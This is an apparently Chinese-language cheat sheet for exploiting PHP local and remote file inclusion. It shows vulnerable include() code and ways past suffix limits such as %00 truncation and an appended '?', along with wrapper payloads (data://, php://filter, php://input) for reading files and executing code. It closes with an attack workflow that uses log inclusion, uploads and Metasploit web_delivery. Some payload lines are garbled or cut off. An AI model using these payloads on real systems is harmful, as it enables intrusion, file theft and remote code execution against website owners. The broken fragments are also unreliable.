一个例子
$file = $_GET['filename'];
include($file);
//http://XXX?filename=1.jpg
Local File Include
后缀限制
$file = $_GET['filename'.'.php'];
include($file);
- 针对PHP低版本(5.2可行): %00截断 & 长度突破
- 针对高版本:协议利用
前提:data协议开启,allow_url_include=1;
XXX.php?filename=data://text/plain,<?php%20phpinfo();?>
Remote File Include
后缀限制
RFI的后缀限制突破方法:加入GET参数(也就是"?“符号)。如XXX.php?filename=http://XXX.txt?
即可
协议利用
php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行: php://input Post:
');?>data://text/plain,
思路
流程:想办法包含文件-文件来源(能不能上传) 不能上传:包含系统自身文件渗透,包含日志文件渗透 能上传:冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery